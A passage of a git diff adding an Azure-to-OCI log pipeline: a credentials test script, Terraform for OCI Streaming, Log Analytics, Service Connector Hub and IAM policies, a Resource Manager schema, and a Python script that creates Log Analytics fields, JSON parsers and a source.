e.status == 404: + print("⚠️ Stream not found - but authentication worked!") + print(" This means your credentials are correct, but the stream OCID might be wrong") + print(f" Error: {e.message}") + elif e.status == 401: + print("❌ Authentication failed - invalid credentials") + print(f" Error: {e.message}") + return False + elif e.status == 403: + print("❌ Authorization failed - user doesn't have permission") + print(f" Error: {e.message}") + return False + else: + print(f"❌ OCI API error: HTTP {e.status} - {e.message}") + return False + + except Exception as e: + print(f"❌ Unexpected error during authentication: {e}") + return False + + except Exception as e: + print(f"❌ OCI configuration test failed: {e}") + import traceback + traceback.print_exc() + return False + + print("\n" + "=" * 80) + print("🎉 OCI CREDENTIALS TEST PASSED!") + print(" ✅ All environment variables present") + print(" ✅ OCI configuration valid") + print(" ✅ Authentication successful") + print(" ✅ Stream client can connect") + print("=" * 80) + + print("\n📋 Next Steps for Azure Function:") + print("1. ✅ OCI credentials are working") + print("2. 🔄 Redeploy Azure Function with updated function.json (Event Hub trigger)") + print("3. 📊 Check Azure Function logs for Event Hub trigger events") + print("4. 🎯 Send test events to Event Hub and verify OCI Streaming receives them") + + return True + +if __name__ == "__main__": + success = test_oci_credentials() + sys.exit(0 if success else 1) diff --git a/observability-and-management/assets/azurelogs2oci/stack/iam.tf b/observability-and-management/assets/azurelogs2oci/stack/iam.tf new file mode 100644 index 000000000..e68a6e624 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/iam.tf @@ -0,0 +1,30 @@ +# ───────────────────────────────────────────────────────────── +# iam.tf – IAM policies for Service Connector Hub +# +# Grants SCH permission to read from OCI Streaming and write +# to Log Analytics in the target compartment. +# ───────────────────────────────────────────────────────────── + +resource "oci_identity_policy" "sch_streaming" { + count = var.create_iam_policies ? 1 : 0 + + compartment_id = var.tenancy_ocid + name = "azurelogs2oci-sch-streaming" + description = "Allow Service Connector Hub to read from OCI Streaming for the azurelogs2oci pipeline" + + statements = [ + "Allow any-user to {STREAM_READ, STREAM_CONSUME} in compartment id ${var.compartment_ocid} where all {request.principal.type='serviceconnector', request.principal.compartment.id='${var.compartment_ocid}'}", + ] +} + +resource "oci_identity_policy" "sch_log_analytics" { + count = var.create_iam_policies ? 1 : 0 + + compartment_id = var.tenancy_ocid + name = "azurelogs2oci-sch-log-analytics" + description = "Allow Service Connector Hub to write to Log Analytics for the azurelogs2oci pipeline" + + statements = [ + "Allow any-user to use loganalytics-log-group in compartment id ${var.compartment_ocid} where all {request.principal.type='serviceconnector', request.principal.compartment.id='${var.compartment_ocid}'}", + ] +} diff --git a/observability-and-management/assets/azurelogs2oci/stack/main.tf b/observability-and-management/assets/azurelogs2oci/stack/main.tf new file mode 100644 index 000000000..6d8e67bd3 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/main.tf @@ -0,0 +1,184 @@ +# ───────────────────────────────────────────────────────────── +# main.tf – OCI resources for the azurelogs2oci pipeline +# +# Creates: Stream Pool, Stream, Log Analytics Log Group, +# Service Connector Hub (Stream → Log Analytics). +# +# This stack is idempotent: it detects existing resources by name +# and reuses them instead of failing on duplicates. +# +# Log Analytics custom content (fields, parser, source) is NOT +# supported by the Terraform provider. After applying this +# stack, run: +# python3 stack/scripts/setup_log_analytics.py +# or the project-level scripts/setup_oci_log_analytics.sh +# (steps 5-6). +# ───────────────────────────────────────────────────────────── + +terraform { + required_version = ">= 1.2.0" + required_providers { + oci = { + source = "oracle/oci" + version = ">= 5.0.0" + } + } +} + +# When run inside OCI Resource Manager, auth is automatic +# (resource principal). Locally, the provider reads +# ~/.oci/config or TF_VAR / OCI_* environment variables. +provider "oci" { + region = var.region +} + +# ── Data Sources: Discover existing resources ───────────────── + +# Log Analytics namespace (tenancy-level) +data "oci_log_analytics_namespaces" "this" { + compartment_id = var.tenancy_ocid +} + +# Existing stream pools in compartment (list query) +data "oci_streaming_stream_pools" "existing" { + compartment_id = var.compartment_ocid + name = var.stream_pool_name + state = "ACTIVE" +} + +# Get full stream pool details (including kafka_settings) if one exists +data "oci_streaming_stream_pool" "existing" { + count = length(try(data.oci_streaming_stream_pools.existing.stream_pools, [])) > 0 ? 1 : 0 + stream_pool_id = data.oci_streaming_stream_pools.existing.stream_pools[0].id +} + +# Existing streams in compartment +data "oci_streaming_streams" "existing" { + compartment_id = var.compartment_ocid + name = var.stream_name + state = "ACTIVE" +} + +# Existing Log Analytics log groups +data "oci_log_analytics_log_analytics_log_groups" "existing" { + compartment_id = var.compartment_ocid + namespace = local.la_namespace + display_name = var.log_group_name +} + +# Existing Service Connectors +data "oci_sch_service_connectors" "existing" { + compartment_id = var.compartment_ocid + display_name = var.sch_name + state = "ACTIVE" +} + +# ── Locals: Determine what exists ───────────────────────────── + +locals { + # Log Analytics namespace + la_namespace = ( + var.log_analytics_namespace != "" + ? var.log_analytics_namespace + : try( + data.oci_log_analytics_namespaces.this.namespace_collection[0].items[0].namespace, + "" + ) + ) + + # Check for existing resources + existing_stream_pool_list = try(data.oci_streaming_stream_pools.existing.stream_pools[0], null) + existing_stream_pool = try(data.oci_streaming_stream_pool.existing[0], null) + existing_stream = try(data.oci_streaming_streams.existing.streams[0], null) + existing_log_group = try( + data.oci_log_analytics_log_analytics_log_groups.existing.log_analytics_log_group_summary_collection[0].items[0], + null + ) + existing_sch = try(data.oci_sch_service_connectors.existing.service_connector_collection[0].items[0], null) + + # Flags for conditional creation + create_stream_pool = local.existing_stream_pool_list == null + create_stream = local.existing_stream == null + create_log_group = local.existing_log_group == null + create_sch = local.existing_sch == null + + # Resolved IDs (existing or newly created) + stream_pool_id = local.create_stream_pool ? oci_streaming_stream_pool.azure_pool[0].id : local.existing_stream_pool_list.id + stream_id = local.create_stream ? oci_streaming_stream.azure_stream[0].id : local.existing_stream.id + log_group_id = local.create_log_group ? oci_log_analytics_log_analytics_log_group.azure_logs[0].id : local.existing_log_group.id + sch_id = local.create_sch ? oci_sch_service_connector.azure_bridge[0].id : local.existing_sch.id + + # Messaging endpoint + stream_messages_endpoint = local.create_stream ? oci_streaming_stream.azure_stream[0].messages_endpoint : local.existing_stream.messages_endpoint + + # Kafka bootstrap servers (use singular data source for full details) + kafka_bootstrap_servers = local.create_stream_pool ? oci_streaming_stream_pool.azure_pool[0].kafka_settings[0].bootstrap_servers : local.existing_stream_pool.kafka_settings[0].bootstrap_servers +} + +# ── 1. Stream Pool ──────────────────────────────────────────── + +resource "oci_streaming_stream_pool" "azure_pool" { + count = local.create_stream_pool ? 1 : 0 + + compartment_id = var.compartment_ocid + name = var.stream_pool_name + + kafka_settings { + auto_create_topics_enable = false + num_partitions = var.stream_partitions + log_retention_hours = var.stream_retention_in_hours + } +} + +# ── 2. Stream ───────────────────────────────────────────────── + +resource "oci_streaming_stream" "azure_stream" { + count = local.create_stream ? 1 : 0 + + name = var.stream_name + partitions = var.stream_partitions + stream_pool_id = local.stream_pool_id + retention_in_hours = var.stream_retention_in_hours +} + +# ── 3. Log Analytics Log Group ──────────────────────────────── + +resource "oci_log_analytics_log_analytics_log_group" "azure_logs" { + count = local.create_log_group ? 1 : 0 + + compartment_id = var.compartment_ocid + namespace = local.la_namespace + display_name = var.log_group_name + description = var.log_group_description + + lifecycle { + precondition { + condition = local.la_namespace != "" + error_message = "Log Analytics namespace could not be detected. Ensure Log Analytics is onboarded, or set the log_analytics_namespace variable." + } + } +} + +# ── 4. Service Connector Hub ───────────────────────────────── + +resource "oci_sch_service_connector" "azure_bridge" { + count = local.create_sch ? 1 : 0 + + compartment_id = var.compartment_ocid + display_name = var.sch_name + description = var.sch_description + + source { + kind = "streaming" + cursor { + kind = "TRIM_HORIZON" + } + stream_id = local.stream_id + } + + target { + kind = "loggingAnalytics" + log_group_id = local.log_group_id + log_source_identifier = "azureLogsSource" + } +} diff --git a/observability-and-management/assets/azurelogs2oci/stack/outputs.tf b/observability-and-management/assets/azurelogs2oci/stack/outputs.tf new file mode 100644 index 000000000..073848c24 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/outputs.tf @@ -0,0 +1,64 @@ +# ───────────────────────────────────────────────────────────── +# outputs.tf – Values needed by the Azure Function and for +# post-deploy validation +# +# Outputs work regardless of whether resources were created new +# or discovered as existing. +# ───────────────────────────────────────────────────────────── + +output "stream_pool_id" { + description = "OCID of the Stream Pool" + value = local.stream_pool_id +} + +output "stream_id" { + description = "OCID of the Stream (use as OCI_STREAM_OCID)" + value = local.stream_id +} + +output "stream_messaging_endpoint" { + description = "Stream messaging endpoint URL (use as OCI_MESSAGE_ENDPOINT)" + value = local.stream_messages_endpoint +} + +output "kafka_bootstrap_servers" { + description = "Kafka bootstrap servers (for alternative Kafka-based integrations)" + value = local.kafka_bootstrap_servers +} + +output "log_group_id" { + description = "OCID of the Log Analytics log group" + value = local.log_group_id +} + +output "log_analytics_namespace" { + description = "Log Analytics namespace" + value = local.la_namespace +} + +output "service_connector_id" { + description = "OCID of the Service Connector Hub" + value = local.sch_id +} + +output "env_snippet" { + description = "Ready-to-paste values for .env.local" + value = <<-EOT + OCI_STREAM_OCID=${local.stream_id} + OCI_STREAM_POOL_ID=${local.stream_pool_id} + OCI_MESSAGE_ENDPOINT=${local.stream_messages_endpoint} + OCI_LOG_ANALYTICS_NAMESPACE=${local.la_namespace} + EOT +} + +# ── Discovery Status ────────────────────────────────────────── + +output "resources_discovered" { + description = "Shows which resources were found existing vs created new" + value = { + stream_pool = local.create_stream_pool ? "CREATED" : "EXISTING" + stream = local.create_stream ? "CREATED" : "EXISTING" + log_group = local.create_log_group ? "CREATED" : "EXISTING" + sch = local.create_sch ? "CREATED" : "EXISTING" + } +} diff --git a/observability-and-management/assets/azurelogs2oci/stack/schema.yaml b/observability-and-management/assets/azurelogs2oci/stack/schema.yaml new file mode 100644 index 000000000..7187fcab2 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/schema.yaml @@ -0,0 +1,182 @@ +title: "Azure EntraID Logs to OCI Log Analytics Pipeline" +description: >- + Deploy the OCI infrastructure for the azurelogs2oci pipeline: + Streaming (Kafka-compatible), Log Analytics log group, + Service Connector Hub, and IAM policies. + + After applying, run scripts/setup_log_analytics.py to create + the custom Azure EntraID parser, 22 fields, and Log Analytics source. +schemaVersion: 1.1.0 +version: "1.0.0" +locale: "en" + +variableGroups: + - title: "General Configuration" + visible: true + variables: + - compartment_ocid + - region + - tenancy_ocid + + - title: "OCI Streaming" + visible: true + variables: + - stream_pool_name + - stream_name + - stream_partitions + - stream_retention_in_hours + + - title: "Log Analytics" + visible: true + variables: + - log_group_name + - log_group_description + - log_analytics_namespace + + - title: "Service Connector Hub" + visible: true + variables: + - sch_name + - sch_description + + - title: "IAM Policies" + visible: true + variables: + - create_iam_policies + + - title: "Compute (Future Use)" + visible: false + variables: + - compute_shape + - compute_ocpus + - compute_memory_in_gbs + - compute_image_id + +variables: + compartment_ocid: + type: oci:identity:compartment:id + title: "Target Compartment" + description: "Compartment for Streaming, Log Analytics, and SCH resources" + required: true + + region: + type: oci:identity:region:name + title: "Region" + description: "OCI region for all resources" + required: true + + tenancy_ocid: + type: string + title: "Tenancy OCID" + description: "Tenancy OCID (for IAM policies; auto-populated in Resource Manager)" + required: true + + stream_pool_name: + type: string + title: "Stream Pool Name" + default: "MultiCloud_Log_Pool" + required: true + + stream_name: + type: string + title: "Stream Name" + default: "azure-inbound-stream" + required: true + + stream_partitions: + type: integer + title: "Stream Partitions" + default: 1 + minimum: 1 + maximum: 5 + required: true + + stream_retention_in_hours: + type: integer + title: "Retention (hours)" + description: "Message retention period (24-168 hours)" + default: 24 + minimum: 24 + maximum: 168 + required: true + + log_group_name: + type: string + title: "Log Group Name" + default: "AzureLogs" + required: true + + log_group_description: + type: string + title: "Log Group Description" + default: "Azure log imports via azurelogs2oci pipeline" + + log_analytics_namespace: + type: string + title: "Log Analytics Namespace" + description: "Leave empty for auto-detection" + default: "" + + sch_name: + type: string + title: "Service Connector Hub Name" + default: "Azure-Stream-to-LogAnalytics" + required: true + + sch_description: + type: string + title: "Service Connector Hub Description" + default: "Forwards Azure logs from OCI Streaming to Log Analytics" + + create_iam_policies: + type: boolean + title: "Create IAM Policies" + description: "Create policies for SCH to read streams and write to Log Analytics. Disable if they already exist." + default: true + + compute_shape: + type: string + title: "Compute Shape" + description: "Instance shape for optional future compute resources" + default: "VM.Standard.E5.Flex" + + compute_ocpus: + type: integer + title: "Compute OCPUs" + description: "Number of OCPUs for flex shapes" + default: 1 + minimum: 1 + maximum: 64 + + compute_memory_in_gbs: + type: integer + title: "Compute Memory (GB)" + description: "Memory in GB for flex shapes" + default: 16 + minimum: 1 + maximum: 1024 + + compute_image_id: + type: string + title: "Custom Image OCID" + description: "Leave empty to use platform images" + default: "" + +outputGroups: + - title: "Azure Function Configuration" + outputs: + - stream_id + - stream_messaging_endpoint + - kafka_bootstrap_servers + - log_analytics_namespace + - env_snippet + + - title: "Resource OCIDs" + outputs: + - stream_pool_id + - log_group_id + - service_connector_id + + - title: "Discovery Status" + outputs: + - resources_discovered diff --git a/observability-and-management/assets/azurelogs2oci/stack/scripts/setup_log_analytics.py b/observability-and-management/assets/azurelogs2oci/stack/scripts/setup_log_analytics.py new file mode 100644 index 000000000..56415726c --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/scripts/setup_log_analytics.py @@ -0,0 +1,560 @@ +#!/usr/bin/env python3 +# ----------------------------------------------------------------- +# setup_log_analytics.py +# +# Create OCI Log Analytics custom fields (38), two JSON parsers, +# and source for Azure Logs. +# +# Parsers: +# 1. Azure EntraID Audit JSON Parser (26 field mappings) +# – Unified Audit Log format (EntraID, O365) +# 2. Azure Diagnostic Log JSON Parser (21 field mappings) +# – Azure Monitor common schema (Activity Logs, Storage, +# Network Watcher, Functions, VMs, Event Hubs, etc.) +# +# This script handles the Log Analytics resources that have no +# Terraform provider support. Run it after `terraform apply` +# to complete the pipeline. +# +# Auth (tried in order): +# 1. OCI Resource Principal (OCI_RESOURCE_PRINCIPAL_VERSION set) +# 2. OCI config file (~/.oci/config) +# 3. Environment variables (OCI_USER_OCID, OCI_KEY_FILE, etc.) +# +# Prerequisites: +# pip install oci - OCI Python SDK (for field/parser creation) +# oci CLI - required for source creation (shells out to oci CLI) +# +# Required environment variables: +# LA_NAMESPACE - Log Analytics namespace +# OCI_COMPARTMENT_ID - Compartment OCID (for source creation) +# +# Optional (only for env-var auth): +# OCI_REGION, OCI_USER_OCID, OCI_FINGERPRINT, +# OCI_TENANCY_OCID, OCI_KEY_FILE or OCI_KEY_CONTENT +# +# Usage: +# export LA_NAMESPACE="mynamespace" +# export OCI_COMPARTMENT_ID="ocid1.compartment.oc1..xxx" +# python3 stack/scripts/setup_log_analytics.py +# ----------------------------------------------------------------- +import json +import os +import sys + +import oci +from oci.log_analytics.models import ( + LogAnalyticsField, + LogAnalyticsParserField, + UpsertLogAnalyticsFieldDetails, + UpsertLogAnalyticsParserDetails, +) + + +# -- Authentication ------------------------------------------------ + +def get_client(): + """Build LogAnalyticsClient with auto-detected auth.""" + + # 1. Resource Principal (OCI Resource Manager / Container Instances) + if os.environ.get("OCI_RESOURCE_PRINCIPAL_VERSION"): + signer = oci.auth.signers.get_resource_principals_signer() + return oci.log_analytics.LogAnalyticsClient({}, signer=signer) + + # 2. OCI config file (~/.oci/config) + try: + config = oci.config.from_file() + oci.config.validate_config(config) + return oci.log_analytics.LogAnalyticsClient(config) + except Exception: + pass + + # 3. Environment variables + key_file = os.environ.get("OCI_KEY_FILE") + key_content = os.environ.get("OCI_KEY_CONTENT") + if key_file: + with open(os.path.expanduser(key_file)) as f: + key_pem = f.read() + elif key_content: + # Normalize PEM: handle escaped newlines from .env files + key_pem = key_content.replace("\\n", "\n").strip() + else: + print("ERROR: No OCI credentials found.") + print(" Set OCI config file (~/.oci/config), OCI_KEY_FILE, or") + print(" run inside OCI Resource Manager.") + sys.exit(1) + + config = { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ.get("OCI_REGION", ""), + } + return oci.log_analytics.LogAnalyticsClient(config) + + +# -- Field Definitions (38 custom fields) ------------------------- + +FIELD_DISPLAY_NAMES = [ + # ── Multicloud (shared across all cloud providers) ── + "Cloud Provider", + + # ── EntraID / Unified Audit Log fields (21) ── + "Azure Time Generated", + "Azure Event ID", + "Azure Operation", + "Azure Record Type", + "Azure Result Status", + "Azure User Type", + "Azure User ID", + "Azure User Key", + "Azure Workload", + "Azure Object ID", + "Azure Client IP", + "Azure Organization ID", + "Azure Schema Version", + "Azure Creation Time", + "Azure AD Event Type", + "Azure Actor Context ID", + "Azure Actor IP Address", + "Azure Inter Systems ID", + "Azure Intra System ID", + "Azure Target Context ID", + "Azure Application ID", + + # ── Azure Monitor Diagnostic / Activity Log fields (16) ── + # Common schema for Activity Logs, Resource Logs, and all + # Azure services streaming via Event Hub diagnostic settings + # (Storage, Network Watcher, Functions, VMs, Event Hubs, etc.) + "Azure Resource ID", + "Azure Resource Group", + "Azure Resource Type", + "Azure Resource Provider", + "Azure Subscription ID", + "Azure Correlation ID", + "Azure Caller", + "Azure Level", + "Azure Tenant ID", + "Azure Location", + "Azure Category", + "Azure Duration Ms", + "Azure Result Type", + "Azure Result Signature", + "Azure Result Description", + "Azure Caller IP", +] + + +# ═══════════════════════════════════════════════════════════════ +# Parser 1: Azure EntraID Audit (Unified Audit Log) +# ═══════════════════════════════════════════════════════════════ + +# -- EntraID Parser Field Mappings (26 total) -------------------- +# (display_name_or_builtin, json_path, sequence) + +ENTRAID_FIELD_MAPPINGS = [ + # Built-in LA fields + ("msg", "$.Operation", 1), + ("sevlvl", "$.ResultStatus", 2), + ("time", "$.TimeGenerated", 3), + ("method", "$.Operation", 4), + # Multicloud + ("Cloud Provider", "$.cloudProvider", 5), + # Core Azure EntraID Audit + ("Azure Time Generated", "$.TimeGenerated", 6), + ("Azure Event ID", "$.Id", 7), + ("Azure Operation", "$.Operation", 8), + ("Azure Record Type", "$.RecordType", 9), + ("Azure Result Status", "$.ResultStatus", 10), + ("Azure User Type", "$.UserType", 11), + ("Azure User ID", "$.UserId", 12), + ("Azure User Key", "$.UserKey", 13), + ("Azure Workload", "$.Workload", 14), + ("Azure Object ID", "$.ObjectId", 15), + ("Azure Client IP", "$.ClientIP", 16), + ("Azure Organization ID", "$.OrganizationId", 17), + ("Azure Schema Version", "$.Version", 18), + ("Azure Creation Time", "$.CreationTime", 19), + ("Azure AD Event Type", "$.AzureActiveDirectoryEventType", 20), + # Actor / Target context + ("Azure Actor Context ID", "$.ActorContextId", 21), + ("Azure Actor IP Address", "$.ActorIpAddress", 22), + ("Azure Inter Systems ID", "$.InterSystemsId", 23), + ("Azure Intra System ID", "$.IntraSystemId", 24), + ("Azure Target Context ID", "$.TargetContextId", 25), + ("Azure Application ID", "$.ApplicationId", 26), +] + +# -- EntraID Example Log (exercises all 26 field mappings) ------- + +ENTRAID_EXAMPLE_LOG = { + "cloudProvider": "Azure", + "TimeGenerated": "2026-01-15T10:30:00.000000+00:00", + "Id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "Operation": "Add member to group", + "RecordType": 11, + "ResultStatus": "Success", + "UserType": "Admin", + "UserId": "admin@example.com", + "UserKey": "11bfead6-20de-405e-a265-e75dfbb48a65", + "Workload": "AzureActiveDirectory", + "ObjectId": "19c66d27-6602-43b5-ac0e-5eb87b9f6c8d", + "ClientIP": "203.0.113.50", + "OrganizationId": "7c38a3a9-2710-4798-83e6-82f14ba656bd", + "Version": 1, + "CreationTime": "2026-01-15T10:30:00", + "AzureActiveDirectoryEventType": 2, + "ExtendedProperties": [ + {"Name": "UserAgent", "Value": "Mozilla/5.0"}, + {"Name": "RequestType", "Value": "OAuth2:Token"}, + ], + "Actor": [ + {"ID": "91af402b-5540-4d3d-9029-ff26768def1e", "Type": 0}, + {"ID": "admin@example.com", "Type": 5}, + ], + "ActorContextId": "3cd6474d-ca79-445c-a336-7e21738e935f", + "ActorIpAddress": "203.0.113.50", + "InterSystemsId": "2632722a-4354-471b-8356-08d44451f803", + "IntraSystemId": "ec6869c2-b550-492c-a5f3-b29ee1bd1f43", + "Target": [ + {"ID": "aea77556-60a8-479f-8afc-3c6ecfddbf1f", "Type": 0}, + ], + "TargetContextId": "b4c245f3-521b-456d-9eb1-ca5a86d28394", + "ApplicationId": "00000002-0000-0ff1-ce00-000000000000", +} + +# ═══════════════════════════════════════════════════════════════ +# Parser 2: Azure Diagnostic / Activity Logs +# Common schema for Azure Monitor resource logs streamed via +# Event Hub diagnostic settings. Covers: Activity Logs, +# Network Watcher (NSG Flow), Storage, Functions, VMs, +# Event Hubs, SQL, Key Vault, App Service, and more. +# ═══════════════════════════════════════════════════════════════ + +# -- Diagnostic Parser Field Mappings (21 total) ----------------- + +DIAG_FIELD_MAPPINGS = [ + # Built-in LA fields + ("msg", "$.operationName", 1), + ("sevlvl", "$.level", 2), + ("time", "$.time", 3), + ("method", "$.operationName", 4), + # Multicloud + ("Cloud Provider", "$.cloudProvider", 5), + # Azure Monitor common schema + ("Azure Resource ID", "$.resourceId", 6), + ("Azure Resource Group", "$.resourceGroupName", 7), + ("Azure Resource Type", "$.resourceType", 8), + ("Azure Resource Provider", "$.resourceProviderName", 9), + ("Azure Subscription ID", "$.subscriptionId", 10), + ("Azure Correlation ID", "$.correlationId", 11), + ("Azure Caller", "$.caller", 12), + ("Azure Level", "$.level", 13), + ("Azure Tenant ID", "$.tenantId", 14), + ("Azure Location", "$.location", 15), + ("Azure Category", "$.category", 16), + ("Azure Duration Ms", "$.durationMs", 17), + ("Azure Result Type", "$.resultType", 18), + ("Azure Result Signature", "$.resultSignature", 19), + ("Azure Result Description", "$.resultDescription", 20), + ("Azure Caller IP", "$.callerIpAddress", 21), +] + +# -- Diagnostic Example Log (Azure Activity Log via Event Hub) --- + +DIAG_EXAMPLE_LOG = { + "cloudProvider": "Azure", + "time": "2026-01-15T10:30:00.0000000Z", + "resourceId": "/subscriptions/a1b2c3d4-e5f6-7890-abcd-ef1234567890/resourceGroups/myResourceGroup/providers/Microsoft.Network/networkSecurityGroups/myNSG", + "operationName": "Microsoft.Network/networkSecurityGroups/write", + "category": "Administrative", + "resultType": "Success", + "resultSignature": "Succeeded.Created", + "resultDescription": "Network security group created or updated", + "durationMs": 1250, + "callerIpAddress": "203.0.113.50", + "correlationId": "aaaa0000-bb11-2222-33cc-444444dddddd", + "identity": { + "claims": { + "name": "admin@example.com", + "ipaddr": "203.0.113.50", + }, + }, + "level": "Informational", + "location": "eastus", + "properties": { + "statusCode": "Created", + "serviceRequestId": "a4c11dbd-697e-47c5-9663-12362307157d", + }, + "caller": "admin@example.com", + "resourceGroupName": "myResourceGroup", + "resourceType": "Microsoft.Network/networkSecurityGroups", + "resourceProviderName": "Microsoft.Network", + "subscriptionId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "tenantId": "7c38a3a9-2710-4798-83e6-82f14ba656bd", +} + + +# -- Field Creation ------------------------------------------------ + +def _build_existing_field_map(client, namespace): + """Fetch all existing fields and return a display_name -> internal_name map.""" + result = {} + page = None + while True: + kwargs = {"limit": 1000} + if page: + kwargs["page"] = page + resp = client.list_fields(namespace, **kwargs) + for f in resp.data.items: + if f.display_name: + result[f.display_name] = f.name + page = resp.headers.get("opc-next-page") + if not page: + break + return result + + +def create_fields(client, namespace): + """Create or upsert all 22 custom fields. + + Returns a dict mapping display_name -> internal_name. + """ + # Pre-fetch existing fields for reliable lookups (the SDK's + # display_name_contains kwarg is not available in all versions). + existing = _build_existing_field_map(client, namespace) + + field_map = {} + for display_name in FIELD_DISPLAY_NAMES: + # If the field already exists, reuse it + if display_name in existing: + field_map[display_name] = existing[display_name] + print(f" Field EXISTS {existing[display_name]:12s} -> {display_name}") + continue + + details = UpsertLogAnalyticsFieldDetails() + details.display_name = display_name + details.data_type = "String" + details.is_multi_valued = False + try: + resp = client.upsert_field(namespace, details) + field_map[display_name] = resp.data.name + print(f" Field OK {resp.data.name:12s} -> {display_name}") + except oci.exceptions.ServiceError as exc: + print(f" Field ERR {display_name}: {exc.message}") + return field_map + + +# -- Parser Creation ----------------------------------------------- + +ENTRAID_PARSER_NAME = "azureEntraIDAuditJsonParser" +DIAG_PARSER_NAME = "azureDiagnosticLogJsonParser" + + +def _upsert_parser(client, namespace, field_map, parser_name, + display_name, description, field_mappings, + example_log, is_default=False): + """Create or upsert a JSON parser with the given field mappings.""" + parser_field_maps = [] + for name_or_display, json_path, seq in field_mappings: + internal = field_map.get(name_or_display, name_or_display) + parser_field_maps.append( + LogAnalyticsParserField( + field=LogAnalyticsField(name=internal), + parser_field_name=internal, + parser_field_sequence=seq, + storage_field_name=internal, + structured_column_info=json_path, + ) + ) + + example_content = json.dumps(example_log, indent=2) + + parser_details = UpsertLogAnalyticsParserDetails( + name=parser_name, + display_name=display_name, + description=description, + type="JSON", + language="en_US", + encoding="UTF-8", + is_default=is_default, + is_single_line_content=False, + is_system=False, + header_content="$:0", + content=example_content, + example_content=example_content, + field_maps=parser_field_maps, + ) + + # Get existing etag for update (optimistic concurrency) + etag = None + try: + existing = client.get_parser(namespace, parser_name) + etag = existing.headers.get("etag") + except oci.exceptions.ServiceError: + pass + + kwargs = {"if_match": etag} if etag else {} + result = client.upsert_parser(namespace, parser_details, **kwargs) + print(f" Parser OK: {result.data.name} ({len(result.data.field_maps)} field maps)") + + +def create_entraid_parser(client, namespace, field_map): + """Create the Azure EntraID Audit JSON parser (26 field mappings).""" + _upsert_parser( + client, namespace, field_map, + parser_name=ENTRAID_PARSER_NAME, + display_name="Azure EntraID Audit JSON Parser", + description=( + "Parses Azure EntraID / Unified Audit Log entries with " + "26 field mappings covering identity, operations, actors, " + "and metadata fields. Handles logs from EntraID and Office 365 " + "diagnostic settings." + ), + field_mappings=ENTRAID_FIELD_MAPPINGS, + example_log=ENTRAID_EXAMPLE_LOG, + is_default=True, + ) + + +def create_diag_parser(client, namespace, field_map): + """Create the Azure Diagnostic Log JSON parser (21 field mappings).""" + _upsert_parser( + client, namespace, field_map, + parser_name=DIAG_PARSER_NAME, + display_name="Azure Diagnostic Log JSON Parser", + description=( + "Parses Azure Monitor diagnostic and activity logs with " + "21 field mappings covering the common resource log schema. " + "Handles logs from Activity Logs, Network Watcher, Storage, " + "Functions, VMs, Event Hubs, SQL, Key Vault, App Service, " + "and all other Azure services streaming via Event Hub." + ), + field_mappings=DIAG_FIELD_MAPPINGS, + example_log=DIAG_EXAMPLE_LOG, + is_default=False, + ) + + +# -- Source Creation ----------------------------------------------- + +SOURCE_NAME = "Azure Logs" + + +def create_source(client, namespace, compartment_id): + """Create the Log Analytics source referencing the parser.""" + # Check if source already exists + try: + existing = client.list_sources( + namespace, compartment_id, + name=SOURCE_NAME, is_system="ALL", + ) + if existing.data.items: + print(f" Source EXISTS: {existing.data.items[0].name}") + return + except Exception: + pass + + # Build source JSON for OCI CLI (SDK source upsert is complex) + import subprocess + import tempfile + + parsers_json = json.dumps([ + {"name": ENTRAID_PARSER_NAME, "isDefault": True}, + {"name": DIAG_PARSER_NAME, "isDefault": False}, + ]) + entity_types_json = json.dumps( + [{"entityType": "oci_generic_resource", + "entityTypeCategory": "Undefined", + "entityTypeDisplayName": "OCI Generic Resource"}] + ) + + with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as pf: + pf.write(parsers_json) + parsers_path = pf.name + with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as ef: + ef.write(entity_types_json) + entity_path = ef.name + + try: + cmd = [ + "oci", "log-analytics", "source", "upsert-source", + "--namespace-name", namespace, + "--name", "azureLogsSource", + "--display-name", SOURCE_NAME, + "--description", + "Azure logs from Event Hub via OCI Streaming. " + "Supports multicloud monitoring with Cloud Provider = Azure.", + "--type-name", "os_file", + "--is-system", "false", + "--is-for-cloud", "false", + "--parsers", f"file://{parsers_path}", + "--entity-types", f"file://{entity_path}", + ] + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode == 0: + print(f" Source created: {SOURCE_NAME}") + else: + print(f" Source warning: {result.stderr[:200]}") + print(" Source may need manual creation via OCI Console or setup_oci_log_analytics.sh") + finally: + os.unlink(parsers_path) + os.unlink(entity_path) + + +# -- Main ---------------------------------------------------------- + +def main(): + namespace = os.environ.get("LA_NAMESPACE") + compartment_id = os.environ.get("OCI_COMPARTMENT_ID") + + if not namespace: + print("ERROR: LA_NAMESPACE environment variable is required") + sys.exit(1) + if not compartment_id: + print("ERROR: OCI_COMPARTMENT_ID environment variable is required") + sys.exit(1) + + print(f"Log Analytics namespace: {namespace}") + print(f"Compartment: {compartment_id[:40]}...") + print() + + client = get_client() + + print(f"--- Creating custom fields ({len(FIELD_DISPLAY_NAMES)}) ---") + field_map = create_fields(client, namespace) + print(f" Total: {len(field_map)} fields\n") + + # Validate that all custom fields referenced by parsers are resolved + builtin_fields = {"msg", "sevlvl", "time", "method"} + all_mappings = ENTRAID_FIELD_MAPPINGS + DIAG_FIELD_MAPPINGS + missing = [ + name for name, _, _ in all_mappings + if name not in field_map and name not in builtin_fields + ] + # Deduplicate (Cloud Provider appears in both parsers) + missing = sorted(set(missing)) + if missing: + print(f"WARNING: {len(missing)} field(s) not resolved: {missing}") + print(" Parser creation may fail. Check field creation errors above.") + + print(f"--- Creating EntraID Audit parser ({len(ENTRAID_FIELD_MAPPINGS)} field mappings) ---") + create_entraid_parser(client, namespace, field_map) + print() + + print(f"--- Creating Diagnostic Log parser ({len(DIAG_FIELD_MAPPINGS)} field mappings) ---") + create_diag_parser(client, namespace, field_map) + print() + + print("--- Creating Log Analytics source ---") + create_source(client, namespace, 